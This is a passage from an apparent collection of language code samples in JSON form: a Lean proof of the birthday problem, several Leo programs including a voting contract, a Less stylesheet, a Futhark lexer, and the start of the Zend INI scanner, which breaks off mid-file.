    "content": "/-\nCopyright (c) 2021 Eric Rodriguez. All rights reserved.\nReleased under Apache 2.0 license as described in the leanprover-community/mathlib4 repo.\nAuthors: Eric Rodriguez\n-/\nimport Mathlib.Data.Fintype.CardEmbedding\nimport Mathlib.Probability.CondCount\nimport Mathlib.Probability.Notation\n\n#align_import wiedijk_100_theorems.birthday_problem from \"leanprover-community/mathlib\"@\"5563b1b49e86e135e8c7b556da5ad2f5ff881cad\"\n\n/-!\n# Birthday Problem\n\nThis file proves Theorem 93 from the [100 Theorems List](https://www.cs.ru.nl/~freek/100/).\n\nAs opposed to the standard probabilistic statement, we instead state the birthday problem\nin terms of injective functions. The general result about `Fintype.card (α ↪ β)` which this proof\nuses is `Fintype.card_embedding_eq`.\n-/\n\n\nnamespace Theorems100\n\nlocal notation \"|\" x \"|\" => Finset.card x\n\nlocal notation \"‖\" x \"‖\" => Fintype.card x\n\n/-- **Birthday Problem**: set cardinality interpretation. -/\ntheorem birthday :\n    2 * ‖Fin 23 ↪ Fin 365‖ < ‖Fin 23 → Fin 365‖ ∧ 2 * ‖Fin 22 ↪ Fin 365‖ > ‖Fin 22 → Fin 365‖ := by\n  -- This used to be\n  -- `simp only [Nat.descFactorial, Fintype.card_fin, Fintype.card_embedding_eq, Fintype.card_fun]`\n  -- but after leanprover/lean4#2790 that triggers a max recursion depth exception.\n  -- As a workaround, we make some of the reduction steps more explicit.\n  rw [Fintype.card_embedding_eq, Fintype.card_fun, Fintype.card_fin, Fintype.card_fin]\n  rw [Fintype.card_embedding_eq, Fintype.card_fun, Fintype.card_fin, Fintype.card_fin]\n  decide\n#align theorems_100.birthday Theorems100.birthday\n\nsection MeasureTheory\n\nopen MeasureTheory ProbabilityTheory\n\nopen scoped ProbabilityTheory ENNReal\n\nvariable {n m : ℕ}\n\n/- In order for Lean to understand that we can take probabilities in `Fin 23 → Fin 365`, we must\ntell Lean that there is a `MeasurableSpace` structure on the space. Note that this instance\nis only for `Fin m` - Lean automatically figures out that the function space `Fin n → Fin m`\nis _also_ measurable, by using `MeasurableSpace.pi`, and furthermore that all sets are measurable,\nfrom `MeasurableSingletonClass.pi`. -/\ninstance : MeasurableSpace (Fin m) :=\n  ⊤\n\ninstance : MeasurableSingletonClass (Fin m) :=\n  ⟨fun _ => trivial⟩\n\n/- We then endow the space with a canonical measure, which is called ℙ.\nWe define this to be the conditional counting measure. -/\nnoncomputable instance : MeasureSpace (Fin n → Fin m) :=\n  ⟨condCount Set.univ⟩\n\n-- The canonical measure on `Fin n → Fin m` is a probability measure (except on an empty space).\ninstance : IsProbabilityMeasure (ℙ : Measure (Fin n → Fin (m + 1))) :=\n  condCount_isProbabilityMeasure Set.finite_univ Set.univ_nonempty\n\ntheorem FinFin.measure_apply {s : Set <| Fin n → Fin m} :\n    ℙ s = |s.toFinite.toFinset| / ‖Fin n → Fin m‖ := by\n  erw [condCount_univ, Measure.count_apply_finite]\n#align theorems_100.fin_fin.measure_apply Theorems100.FinFin.measure_apply\n\n/-- **Birthday Problem**: first probabilistic interpretation. -/\ntheorem birthday_measure :\n    ℙ ({f | (Function.Injective f)} : Set ((Fin 23) → (Fin 365))) < 1 / 2 := by\n  rw [FinFin.measure_apply]\n  generalize_proofs hfin\n  have : |hfin.toFinset| = 42200819302092359872395663074908957253749760700776448000000 := by\n    trans ‖Fin 23 ↪ Fin 365‖\n    · rw [← Fintype.card_coe]\n      apply Fintype.card_congr\n      rw [Set.Finite.coeSort_toFinset, Set.coe_setOf]\n      exact Equiv.subtypeInjectiveEquivEmbedding _ _\n    · rw [Fintype.card_embedding_eq, Fintype.card_fin, Fintype.card_fin]\n      rfl\n  rw [this, ENNReal.lt_div_iff_mul_lt, mul_comm, mul_div, ENNReal.div_lt_iff]\n  rotate_left; (iterate 2 right; norm_num); decide; (iterate 2 left; norm_num)\n  simp only [Fintype.card_pi]\n  norm_num\n#align theorems_100.birthday_measure Theorems100.birthday_measure\n\nend MeasureTheory\n\nend Theorems100\n"
  },
  {
    "path": "samples/Leo/fibonacci.leo",
    "content": "// This program follows the license outlined, here: https://github.com/ProvableHQ/leo/blob/mainnet/LICENSE.md\n\nprogram fibonacci.aleo {\n    // This calculates the n-th fibonacci number (up to 64th)\n    transition fibonacci(public n: u8) -> u128 {\n        assert(n <= 64u8);\n\n        let f0: u128 = 0u128;\n        let f1: u128 = 1u128;\n        let c: u8 = 0u8;\n\n        let z: u8 = reverse_bits(n);\n\n        for i:u8 in 0u8..8u8 {\n            if n > 0u8 {\n                let f2i1: u128 = f1 * f1 + f0 * f0;\n                let f2i: u128 =  f0 * (2u128 * f1 - f0);\n                if z & 1u8.shl(c) == 0u8 {\n                    f0 = f2i;\n                    f1 = f2i1;\n                } else {\n                    f0 = f2i1;\n                    f1 = f2i + f2i1;\n                }\n                c = c + 1u8;\n                n = n >> 1u8;\n            }\n        }\n\n        return f0;\n    }\n\n    function reverse_bits(n: u8) -> u8 {\n        let reverse: u8 = 0u8;\n\n        for i:u8 in 0u8..8u8 {\n            if n > 0u8 {\n                reverse = reverse << 1u8;\n\n                if n & 1u8 == 1u8 {\n                    reverse ^= 1u8;\n                }\n\n                n = n >> 1u8;\n            }\n        }\n\n        return reverse;\n    }\n}\n"
  },
  {
    "path": "samples/Leo/groups.leo",
    "content": "// This program follows the license outlined, here: https://github.com/ProvableHQ/leo/blob/mainnet/LICENSE.md\n\nprogram groups.aleo {\n    // This function takes a group coordinate as input `a` and performs several operations which should output the `0group`.\n    // Note that the operations can be called as associated functions on the `a` variable.\n\n    transition main(a: group) -> group {\n        // unary\n        let b: group = a.double(); // 2a\n        let c: group = b.neg();    // -2a\n\n        // binary\n        let d: group = (a * 2scalar).add(c);\n\n        // generator\n        let e: group = group::GEN;\n\n        return d + e;\n    }\n}\n"
  },
  {
    "path": "samples/Leo/twoadicity.leo",
    "content": "// This program follows the license outlined, here: https://github.com/AleoHQ/leo/blob/mainnet/LICENSE.md\n\nprogram twoadicity.aleo {\n    // This function calculates the number of powers of two (\"twoadicity\")\n    // in the prime factorization of the input number `n`.\n    transition main(public n: field) -> u8 {\n        let remaining_n: field = n;\n        let powers_of_two: u8 = 0u8;\n        // Since field ints are 253 bits or fewer, any number in the field\n        // will have at most 252 powers of two in its prime factoring.\n        for i:u8 in 0u8..252u8 {\n            if is_even_and_nonzero(remaining_n) {\n                remaining_n = remaining_n / 2field;\n                powers_of_two = powers_of_two + 1u8;\n            }\n        }\n        return powers_of_two;\n    }\n\n    /* We define the is_even predicate on fields as follows.\n       If n is even and nonzero, clearly n/2 < n.\n       If n is odd, n-p is a field-equivalent negative number that is even, and\n       (n-p)/2 is a field-equivalent negative number closer to 0, greater than n-p.\n       If we add p to both of these negative numbers, we have\n       n/2 = (n-p)/2 + p = (n+p)/2 is greater than n and still less than p.\n    */\n    function is_even_and_nonzero (n: field) -> bool {\n        return n / 2field < n;\n    }\n}\n"
  },
  {
    "path": "samples/Leo/vote.leo",
    "content": "// This program follows the license outlined, here: https://github.com/AleoHQ/leo/blob/mainnet/LICENSE.md\n\nprogram vote.aleo {\n    // Proposal details\n    struct ProposalInfo {\n        title: field,\n        content: field,\n        proposer: address,\n    }\n\n    // Proposal record records proposal info publicly\n    record Proposal {\n        owner: address,\n        id: field,\n        info: ProposalInfo,\n    }\n\n    // Save proposal info in public storage.\n    mapping proposals: field => ProposalInfo;\n\n    // Privacy tickets to vote\n    record Ticket {\n        owner: address,\n        pid: field,\n    }\n\n    // Count the total tickets issued for each proposal\n    mapping tickets: field => u64;\n\n    mapping agree_votes: field => u64;\n\n    mapping disagree_votes: field => u64;\n\n    // Propose a new proposal to vote on.\n    async transition propose(public info: ProposalInfo) -> (Proposal, Future) {\n        // Authenticate proposer.\n        assert_eq(self.caller, info.proposer);\n\n        // Generate a new proposal id.\n        let id: field = BHP256::hash_to_field(info.title);\n\n\n        // Return a new record for the proposal.\n        // Finalize the proposal id.\n        return (Proposal { owner: self.caller, id, info }, finalize_propose(id));\n    }\n    // Create a new proposal in the \"tickets\" mapping.\n    async function finalize_propose(public id: field) {\n        Mapping::set(tickets, id, 0u64);\n    }\n\n    // Create a new ticket to vote with.\n    async transition new_ticket(\n        public pid: field,\n        public voter: address,\n    ) -> (Ticket, Future) {\n\n        // Finalize the proposal id for the ticket.\n        return (Ticket { owner: voter, pid }, finalize_new_ticket(pid));\n    }\n    // Create a new ticket on a proposal in the \"tickets\" mapping.\n    async function finalize_new_ticket(public pid: field) {\n        let current: u64 = Mapping::get_or_use(tickets, pid, 0u64);\n        Mapping::set(tickets, pid, current + 1u64);\n    }\n\n    // Vote privately to agree with a proposal.\n    async transition agree(ticket: Ticket) -> Future {\n        // Finalize this vote.\n        return finalize_agree(ticket.pid);\n    }\n    async function finalize_agree(public pid: field) {\n        // Publicly increment the number of agree votes.\n        let current: u64 = Mapping::get_or_use(agree_votes, pid, 0u64);\n        Mapping::set(agree_votes, pid, current + 1u64);\n    }\n\n    // Vote privately to disagree with a proposal.\n    async transition disagree(ticket: Ticket) -> Future {\n        // Finalize this vote.\n        return finalize_disagree(ticket.pid);\n    }\n    async function finalize_disagree(pid: field) {\n        // Publicly increment the number of disagree votes.\n        let current: u64 = Mapping::get_or_use(disagree_votes, pid, 0u64);\n        Mapping::set(disagree_votes, pid, current + 1u64);\n    }\n}\n"
  },
  {
    "path": "samples/Less/screen.less",
    "content": "@blue: #3bbfce;\n@margin: 16px;\n\n.content-navigation {\n  border-color: @blue;\n  color:\n    darken(@blue, 9%);\n}\n\n.border {\n  padding: @margin / 2;\n  margin: @margin / 2;\n  border-color: @blue;\n}\n"
  },
  {
    "path": "samples/Lex/filenames/Lexer.x",
    "content": "{\n{-# LANGUAGE OverloadedStrings #-}\n{-# LANGUAGE BangPatterns #-}\n{-# LANGUAGE Trustworthy #-}\n{-# OPTIONS_GHC -w #-}\n-- | The Futhark lexer.  Takes a string, produces a list of tokens with position information.\nmodule Language.Futhark.Parser.Lexer\n  ( Token(..)\n  , L(..)\n  , scanTokens\n  , scanTokensText\n  ) where\n\nimport qualified Data.ByteString.Lazy as BS\nimport qualified Data.Text as T\nimport qualified Data.Text.Encoding as T\nimport qualified Data.Text.Read as T\nimport Data.Char (ord, toLower, digitToInt)\nimport Data.Int (Int8, Int16, Int32, Int64)\nimport Data.Word (Word8)\nimport Data.Bits\nimport Data.Function (fix)\nimport Data.List\nimport Data.Monoid\nimport Data.Either\nimport Numeric\n\nimport Language.Futhark.Core (Int8, Int16, Int32, Int64,\n                              Word8, Word16, Word32, Word64,\n                              Name, nameFromText, nameToText)\nimport Language.Futhark.Prop (leadingOperator)\nimport Language.Futhark.Syntax (BinOp(..))\nimport Futhark.Util.Loc hiding (L)\n\n}\n\n%wrapper \"monad-bytestring\"\n\n@charlit = ($printable#['\\\\]|\\\\($printable|[0-9]+))\n@stringcharlit = ($printable#[\\\"\\\\]|\\\\($printable|[0-9]+)|\\n)\n@hexlit = 0[xX][0-9a-fA-F][0-9a-fA-F_]*\n@declit = [0-9][0-9_]*\n@binlit = 0[bB][01][01_]*\n@romlit = 0[rR][IVXLCDM][IVXLCDM_]*\n@intlit = @hexlit|@binlit|@declit|@romlit\n@reallit = (([0-9][0-9_]*(\".\"[0-9][0-9_]*)?))([eE][\\+\\-]?[0-9]+)?\n@hexreallit = 0[xX][0-9a-fA-F][0-9a-fA-F_]*\".\"[0-9a-fA-F][0-9a-fA-F_]*([pP][\\+\\-]?[0-9_]+)\n\n@field = [a-zA-Z0-9] [a-zA-Z0-9_]*\n\n@identifier = [a-zA-Z] [a-zA-Z0-9_']* | \"_\" [a-zA-Z0-9] [a-zA-Z0-9_']*\n@qualidentifier = (@identifier \".\")+ @identifier\n\n@unop = \"!\"\n@qualunop = (@identifier \".\")+ @unop\n\n$opchar = [\\+\\-\\*\\/\\%\\=\\!\\>\\<\\|\\&\\^\\.]\n@binop = ($opchar # \\.) $opchar*\n@qualbinop = (@identifier \".\")+ @binop\n\n@space = [\\ \\t\\f\\v]\n@doc = \"-- |\".*(\\n@space*\"--\".*)*\n\ntokens :-\n\n  $white+                               ;\n  @doc                     { tokenM $ return . DOC . T.unpack . T.unlines .\n                                      map (T.drop 3 . T.stripStart) .\n                                           T.split (== '\\n') . (\"--\"<>) .\n                                           T.drop 4 }\n  \"--\".*                            ;\n  \"=\"                      { tokenC EQU }\n  \"(\"                      { tokenC LPAR }\n  \")\"                      { tokenC RPAR }\n  \")[\"                     { tokenC RPAR_THEN_LBRACKET }\n  \"[\"                      { tokenC LBRACKET }\n  \"]\"                      { tokenC RBRACKET }\n  \"{\"                      { tokenC LCURLY }\n  \"}\"                      { tokenC RCURLY }\n  \",\"                      { tokenC COMMA }\n  \"_\"                      { tokenC UNDERSCORE }\n  \"->\"                     { tokenC RIGHT_ARROW }\n  \":\"                      { tokenC COLON }\n  \":>\"                     { tokenC COLON_GT }\n  \"\\\"                      { tokenC BACKSLASH }\n  \"~\"                      { tokenC TILDE }\n  \"'\"                      { tokenC APOSTROPHE }\n  \"'^\"                     { tokenC APOSTROPHE_THEN_HAT }\n  \"'~\"                     { tokenC APOSTROPHE_THEN_TILDE }\n  \"`\"                      { tokenC BACKTICK }\n  \"#[\"                     { tokenC HASH_LBRACKET }\n  \"..<\"                    { tokenC TWO_DOTS_LT }\n  \"..>\"                    { tokenC TWO_DOTS_GT }\n  \"...\"                    { tokenC THREE_DOTS }\n  \"..\"                     { tokenC TWO_DOTS }\n\n  @intlit i8               { tokenM $ return . I8LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='i') }\n  @intlit i16              { tokenM $ return . I16LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='i') }\n  @intlit i32              { tokenM $ return . I32LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='i') }\n  @intlit i64              { tokenM $ return . I64LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='i') }\n  @intlit u8               { tokenM $ return . U8LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='u') }\n  @intlit u16              { tokenM $ return . U16LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='u') }\n  @intlit u32              { tokenM $ return . U32LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='u') }\n  @intlit u64              { tokenM $ return . U64LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='u') }\n  @intlit                  { tokenM $ return . INTLIT . readIntegral . T.filter (/= '_') }\n\n  @reallit f32             { tokenM $ fmap F32LIT . tryRead \"f32\" . suffZero . T.filter (/= '_') . T.takeWhile (/='f') }\n  @reallit f64             { tokenM $ fmap F64LIT . tryRead \"f64\" . suffZero . T.filter (/= '_') . T.takeWhile (/='f') }\n  @reallit                 { tokenM $ fmap FLOATLIT . tryRead \"f64\" . suffZero . T.filter (/= '_') }\n  @hexreallit f32          { tokenM $ fmap F32LIT . readHexRealLit . T.filter (/= '_') . T.dropEnd 3 }\n  @hexreallit f64          { tokenM $ fmap F64LIT . readHexRealLit . T.filter (/= '_') . T.dropEnd 3 }\n  @hexreallit              { tokenM $ fmap FLOATLIT . readHexRealLit . T.filter (/= '_') }\n  \"'\" @charlit \"'\"         { tokenM $ fmap CHARLIT . tryRead \"char\" }\n  \\\" @stringcharlit* \\\"    { tokenM $ fmap STRINGLIT . tryRead \"string\"  }\n\n  @identifier              { tokenS keyword }\n  @identifier \"[\"          { tokenM $ fmap INDEXING . indexing . T.takeWhile (/='[') }\n  @qualidentifier \"[\"      { tokenM $ fmap (uncurry QUALINDEXING) . mkQualId . T.takeWhile (/='[') }\n  @identifier \".\" \"(\"      { tokenM $ fmap (QUALPAREN []) . indexing . T.init . T.takeWhile (/='(') }\n  @qualidentifier \".\" \"(\"  { tokenM $ fmap (uncurry QUALPAREN) . mkQualId . T.init . T.takeWhile (/='(') }\n  \"#\" @identifier          { tokenS $ CONSTRUCTOR . nameFromText . T.drop 1 }\n\n  @unop                    { tokenS $ UNOP . nameFromText }\n  @qualunop                { tokenM $ fmap (uncurry QUALUNOP) . mkQualId }\n\n  @binop                   { tokenM $ return . symbol [] . nameFromText }\n  @qualbinop               { tokenM $ \\s -> do (qs,k) <- mkQualId s; return (symbol qs k) }\n\n  \".\" (@identifier|[0-9]+) { tokenM $ return . PROJ_FIELD . nameFromText . T.drop 1 }\n  \".\" \"[\"                  { tokenC PROJ_INDEX }\n{\n\nkeyword :: T.Text -> Token\nkeyword s =\n  case s of\n    \"true\"         -> TRUE\n    \"false\"        -> FALSE\n    \"if\"           -> IF\n    \"then\"         -> THEN\n    \"else\"         -> ELSE\n    \"let\"          -> LET\n    \"loop\"         -> LOOP\n    \"in\"           -> IN\n    \"val\"          -> VAL\n    \"for\"          -> FOR\n    \"do\"           -> DO\n    \"with\"         -> WITH\n    \"local\"        -> LOCAL\n    \"open\"         -> OPEN\n    \"include\"      -> INCLUDE\n    \"import\"       -> IMPORT\n    \"type\"         -> TYPE\n    \"entry\"        -> ENTRY\n    \"module\"       -> MODULE\n    \"while\"        -> WHILE\n    \"assert\"       -> ASSERT\n    \"match\"        -> MATCH\n    \"case\"         -> CASE\n\n    _              -> ID $ nameFromText s\n\nindexing :: T.Text -> Alex Name\nindexing s = case keyword s of\n  ID v -> return v\n  _    -> alexError $ \"Cannot index keyword '\" ++ T.unpack s ++ \"'.\"\n\nmkQualId :: T.Text -> Alex ([Name], Name)\nmkQualId s = case reverse $ T.splitOn \".\" s of\n  []   -> error \"mkQualId: no components\"\n  k:qs -> return (map nameFromText (reverse qs), nameFromText k)\n\n-- | Suffix a zero if the last character is dot.\nsuffZero :: T.Text -> T.Text\nsuffZero s = if T.last s == '.' then s <> \"0\" else s\n\ntryRead :: Read a => String -> T.Text -> Alex a\ntryRead desc s = case reads s' of\n  [(x, \"\")] -> return x\n  _         -> error $ \"Invalid \" ++ desc ++ \" literal: `\" ++ T.unpack s ++ \"'.\"\n  where s' = T.unpack s\n\nreadIntegral :: Integral a => T.Text -> a\nreadIntegral s\n  | \"0x\" `T.isPrefixOf` s || \"0X\" `T.isPrefixOf` s = parseBase 16 (T.drop 2 s)\n  | \"0b\" `T.isPrefixOf` s || \"0B\" `T.isPrefixOf` s = parseBase 2 (T.drop 2 s)\n  | \"0r\" `T.isPrefixOf` s || \"0R\" `T.isPrefixOf` s = fromRoman (T.drop 2 s)\n  | otherwise = parseBase 10 s\n      where parseBase base = T.foldl (\\acc c -> acc * base + fromIntegral (digitToInt c)) 0\n\ntokenC v  = tokenS $ const v\n\ntokenS f = tokenM $ return . f\n\ntype Lexeme a = ((Int, Int, Int), (Int, Int, Int), a)\n\ntokenM :: (T.Text -> Alex a)\n       -> (AlexPosn, Char, ByteString.ByteString, Int64)\n       -> Int64\n       -> Alex (Lexeme a)\ntokenM f (AlexPn addr line col, _, s, _) len = do\n  x <- f $ T.decodeUtf8 $ BS.toStrict s'\n  return (pos, advance pos s', x)\n  where pos = (line, col, addr)\n        s' = BS.take len s\n\nadvance :: (Int, Int, Int) -> ByteString.ByteString -> (Int, Int, Int)\nadvance orig_pos = foldl' advance' orig_pos . init . ByteString.unpack\n  where advance' (!line, !col, !addr) c\n          | c == nl   = (line + 1, 1, addr + 1)\n          | otherwise = (line, col + 1, addr + 1)\n        nl = fromIntegral $ ord '\\n'\n\nsymbol :: [Name] -> Name -> Token\nsymbol [] q\n  | nameToText q == \"*\" = ASTERISK\n  | nameToText q == \"-\" = NEGATE\n  | nameToText q == \"<\" = LTH\n  | nameToText q == \"^\" = HAT\n  | nameToText q == \"|\" = PIPE\n  | otherwise = SYMBOL (leadingOperator q) [] q\nsymbol qs q = SYMBOL (leadingOperator q) qs q\n\n\nromanNumerals :: Integral a => [(T.Text,a)]\nromanNumerals = reverse\n                [ (\"I\",     1)\n                , (\"IV\",    4)\n                , (\"V\",     5)\n                , (\"IX\",    9)\n                , (\"X\",    10)\n                , (\"XL\",   40)\n                , (\"L\",    50)\n                , (\"XC\",   90)\n                , (\"C\",   100)\n                , (\"CD\",  400)\n                , (\"D\",   500)\n                , (\"CM\",  900)\n                , (\"M\",  1000)\n                ]\n\nfromRoman :: Integral a => T.Text -> a\nfromRoman s =\n  case find ((`T.isPrefixOf` s) . fst) romanNumerals of\n    Nothing -> 0\n    Just (d,n) -> n+fromRoman (T.drop (T.length d) s)\n\nreadHexRealLit :: RealFloat a => T.Text -> Alex a\nreadHexRealLit s =\n  let num =  (T.drop 2 s) in\n  -- extract number into integer, fractional and (optional) exponent\n  let comps = T.split (`elem` ['.','p','P']) num in\n  case comps of\n    [i, f, p] ->\n        let runTextReader r = fromIntegral . fst . fromRight (error \"internal error\") . r\n            intPart = runTextReader T.hexadecimal i\n            fracPart = runTextReader T.hexadecimal f\n            exponent = runTextReader (T.signed T.decimal) p\n\n            fracLen = fromIntegral $ T.length f\n            fracVal = fracPart / (16.0 ** fracLen)\n            totalVal = (intPart + fracVal) * (2.0 ** exponent) in\n        return totalVal\n    _ -> error \"bad hex real literal\"\n\nalexGetPosn :: Alex (Int, Int, Int)\nalexGetPosn = Alex $ \\s ->\n  let (AlexPn off line col) = alex_pos s\n  in Right (s, (line, col, off))\n\nalexEOF = do\n  posn <- alexGetPosn\n  return (posn, posn, EOF)\n\n-- | A value tagged with a source location.\ndata L a = L SrcLoc a deriving (Show)\n\ninstance Eq a => Eq (L a) where\n  L _ x == L _ y = x == y\n\ninstance Located (L a) where\n  locOf (L (SrcLoc loc) _) = loc\n\n-- | A lexical token.  It does not itself contain position\n-- information, so in practice the parser will consume tokens tagged\n-- with a source position.\ndata Token = ID Name\n           | INDEXING Name\n           | QUALINDEXING [Name] Name\n           | QUALPAREN [Name] Name\n           | UNOP Name\n           | QUALUNOP [Name] Name\n           | SYMBOL BinOp [Name] Name\n           | CONSTRUCTOR Name\n           | PROJ_FIELD Name\n           | PROJ_INDEX\n\n           | INTLIT Integer\n           | STRINGLIT String\n           | I8LIT Int8\n           | I16LIT Int16\n           | I32LIT Int32\n           | I64LIT Int64\n           | U8LIT Word8\n           | U16LIT Word16\n           | U32LIT Word32\n           | U64LIT Word64\n           | FLOATLIT Double\n           | F32LIT Float\n           | F64LIT Double\n           | CHARLIT Char\n\n           | COLON\n           | COLON_GT\n           | BACKSLASH\n           | APOSTROPHE\n           | APOSTROPHE_THEN_HAT\n           | APOSTROPHE_THEN_TILDE\n           | BACKTICK\n           | HASH_LBRACKET\n           | TWO_DOTS\n           | TWO_DOTS_LT\n           | TWO_DOTS_GT\n           | THREE_DOTS\n           | LPAR\n           | RPAR\n           | RPAR_THEN_LBRACKET\n           | LBRACKET\n           | RBRACKET\n           | LCURLY\n           | RCURLY\n           | COMMA\n           | UNDERSCORE\n           | RIGHT_ARROW\n\n           | EQU\n           | ASTERISK\n           | NEGATE\n           | LTH\n           | HAT\n           | TILDE\n           | PIPE\n\n           | IF\n           | THEN\n           | ELSE\n           | LET\n           | LOOP\n           | IN\n           | FOR\n           | DO\n           | WITH\n           | ASSERT\n           | TRUE\n           | FALSE\n           | WHILE\n           | INCLUDE\n           | IMPORT\n           | ENTRY\n           | TYPE\n           | MODULE\n           | VAL\n           | OPEN\n           | LOCAL\n           | MATCH\n           | CASE\n\n           | DOC String\n\n           | EOF\n\n             deriving (Show, Eq, Ord)\n\nrunAlex' :: AlexPosn -> ByteString.ByteString -> Alex a -> Either String a\nrunAlex' start_pos input__ (Alex f) =\n  case f (AlexState { alex_pos = start_pos\n                    , alex_bpos = 0\n                    , alex_inp = input__\n                    , alex_chr = '\\n'\n                    , alex_scd = 0}) of Left msg -> Left msg\n                                        Right ( _, a ) -> Right a\n\n-- | Given a starting position, produce tokens from the given text (or\n-- a lexer error).  Returns the final position.\nscanTokensText :: Pos -> T.Text -> Either String ([L Token], Pos)\nscanTokensText pos = scanTokens pos . BS.fromStrict . T.encodeUtf8\n\nscanTokens :: Pos -> BS.ByteString -> Either String ([L Token], Pos)\nscanTokens (Pos file start_line start_col start_off) str =\n  runAlex' (AlexPn start_off start_line start_col) str $ do\n  fix $ \\loop -> do\n    tok <- alexMonadScan\n    case tok of\n      (start, end, EOF) ->\n        return ([], posnToPos end)\n      (start, end, t) -> do\n        (rest, endpos) <- loop\n        return (L (pos start end) t : rest, endpos)\n  where pos start end = SrcLoc $ Loc (posnToPos start) (posnToPos end)\n        posnToPos (line, col, off) = Pos file line col off\n}\n"
  },
  {
    "path": "samples/Lex/zend_ini_scanner.l",
    "content": "/*\n   +----------------------------------------------------------------------+\n   | Zend Engine                                                          |\n   +----------------------------------------------------------------------+\n   | Copyright (c) 1998-2012 Zend Technologies Ltd. (http://www.zend.com) |\n   +----------------------------------------------------------------------+\n   | This source file is subject to version 2.00 of the Zend license,     |\n   | that is bundled with this package in the file LICENSE, and is        |\n   | available through the world-wide-web at the following url:           |\n   | http://www.zend.com/license/2_00.txt.                                |\n   | If you did not receive a copy of the Zend license and are unable to  |\n   | obtain it through the world-wide-web, please send a note to          |\n   | license@zend.com so we can mail you a copy immediately.              |\n   +----------------------------------------------------------------------+\n   | Authors: Zeev Suraski <zeev@zend.com>                                |\n   |          Jani Taskinen <jani@php.net>                                |\n   |          Marcus Boerger <helly@php.net>                              |\n   |          Nuno Lopes <nlopess@php.net>                                |\n   |          Scott MacVicar <scottmac@php.net>                           |\n   +----------------------------------------------------------------------+\n*/\n\n/* $Id$ */\n\n#include <errno.h>\n#include \"zend.h\"\n#include \"zend_globals.h\"\n#include <zend_ini_parser.h>\n#include \"zend_ini_scanner.h\"\n\n#if 0\n# define YYDEBUG(s, c) printf(\"state: %d char: %c\\n\", s, c)\n#else\n# define YYDEBUG(s, c)\n#endif\n\n#include \"zend_ini_scanner_defs.h\"\n\n#define YYCTYPE   unsigned char\n/* allow the scanner to read one null byte after the end of the string (from ZEND_MMAP_AHEAD)\n * so that if will be able to terminate to match the current token (e.g. non-enclosed string) */\n#define YYFILL(n) { if (YYCURSOR > YYLIMIT) return 0; }\n#define YYCURSOR  SCNG(yy_cursor)\n#define YYLIMIT   SCNG(yy_limit)\n#define YYMARKER  SCNG(yy_marker)\n\n#define YYGETCONDITION()  SCNG(yy_state)\n#define YYSETCONDITION(s) SCNG(yy_state) = s\n\n#define STATE(name)  yyc##name\n\n/* emulate flex constructs */\n#define BEGIN(state) YYSETCONDITION(STATE(state))\n#define YYSTATE      YYGETCONDITION()\n#define yytext       ((char*)SCNG(yy_text))\n#define yyleng       SCNG(yy_leng)\n#define yyless(x)    do {\tYYCURSOR = (unsigned char*)yytext + x; \\\n\t\t\t\t\t\t\tyyleng   = (unsigned int)x; } while(0)\n\n/* #define yymore()     goto yymore_restart */\n\n/* perform sanity check. If this message is triggered you should\n   increase the ZEND_MMAP_AHEAD value in the zend_streams.h file */\n/*!max:re2c */\n#if ZEND_MMAP_AHEAD < (YYMAXFILL + 1)\n# error ZEND_MMAP_AHEAD should be greater than YYMAXFILL\n#endif\n\n\n/* How it works (for the core ini directives):\n * ===========================================\n *\n * 1. Scanner scans file for tokens and passes them to parser.\n * 2. Parser parses the tokens and passes the name/value pairs to the callback\n *    function which stores them in the configuration hash table.\n * 3. Later REGISTER_INI_ENTRIES() is called which triggers the actual\n *    registering of ini entries and uses zend_get_configuration_directive()\n *    to fetch the previously stored name/value pair from configuration hash table\n *    and registers the static ini entries which match the name to the value\n *    into EG(ini_directives) hash table.\n * 4. PATH section entries are used per-request from down to top, each overriding\n *    previous if one exists. zend_alter_ini_entry() is called for each entry.\n *    Settings in PATH section are ZEND_INI_SYSTEM accessible and thus mimics the\n *    php_admin_* directives used within Apache httpd.conf when PHP is compiled as\n *    module for Apache.\n * 5. User defined ini files (like .htaccess for apache) are parsed for each request and\n *    stored in separate hash defined by SAPI.\n */\n\n/* TODO: (ordered by importance :-)\n * ===============================================================================\n *\n *  - Separate constant lookup totally from plain strings (using CONSTANT pattern)\n *  - Add #if .. #else .. #endif and ==, !=, <, > , <=, >= operators\n *  - Add #include \"some.ini\"\n *  - Allow variables to refer to options also when using parse_ini_file()\n *\n */\n\n/* Globals Macros */\n#define SCNG\tINI_SCNG\n#ifdef ZTS\nZEND_API ts_rsrc_id ini_scanner_globals_id;\n#else\nZEND_API zend_ini_scanner_globals ini_scanner_globals;\n#endif\n\n/* Eat leading whitespace */\n#define EAT_LEADING_WHITESPACE()                     \\\n\twhile (yytext[0]) {                              \\\n\t\tif (yytext[0] == ' ' || yytext[0] == '\\t') { \\\n\t\t\tSCNG(yy_text)++;                         \\\n\t\t\tyyleng--;                                \\\n\t\t} else {                                     \\\n\t\t\tbreak;                                   \\\n\t\t}                                            \\\n\t}\n\n/* Eat trailing whitespace + extra char */\n#define EAT_TRAILING_WHITESPACE_EX(ch)              \\\n\twhile (yyleng > 0 && (                          \\\n\t\t(ch != 'X' && yytext[yyleng - 1] ==  ch) || \\\n\t\tyytext[yyleng - 1] == '\\n' ||               \\\n\t\tyytext[yyleng - 1] == '\\r' ||               \\\n\t\tyytext[yyleng - 1] == '\\t' ||               \\\n\t\tyytext[yyleng - 1] == ' ')                  \\\n\t) {                                             \\\n\t\tyyleng--;                                   \\\n\t}\n\n/* Eat trailing whitespace */\n#define EAT_TRAILING_WHITESPACE()\tEAT_TRAILING_WHITESPACE_EX('X')\n\n#define zend_ini_copy_value(retval, str, len) {  \\\n\tZ_STRVAL_P(retval) = zend_strndup(str, len); \\\n\tZ_STRLEN_P(retval) = len;                    \\\n\tZ_TYPE_P(retval) = IS_STRING;                \\\n}\n\n#define RETURN_TOKEN(type, str, len) {           \\\n\tzend_ini_copy_value(ini_lval, str, len);     \\\n\treturn type;                                 \\\n}\n\nstatic void _yy_push_state(int new_state TSRMLS_DC)\n{\n\tzend_stack_push(&SCNG(state_stack), (void *) &YYGETCONDITION(), sizeof(int));\n\tYYSETCONDITION(new_state);\n}\n\n#define 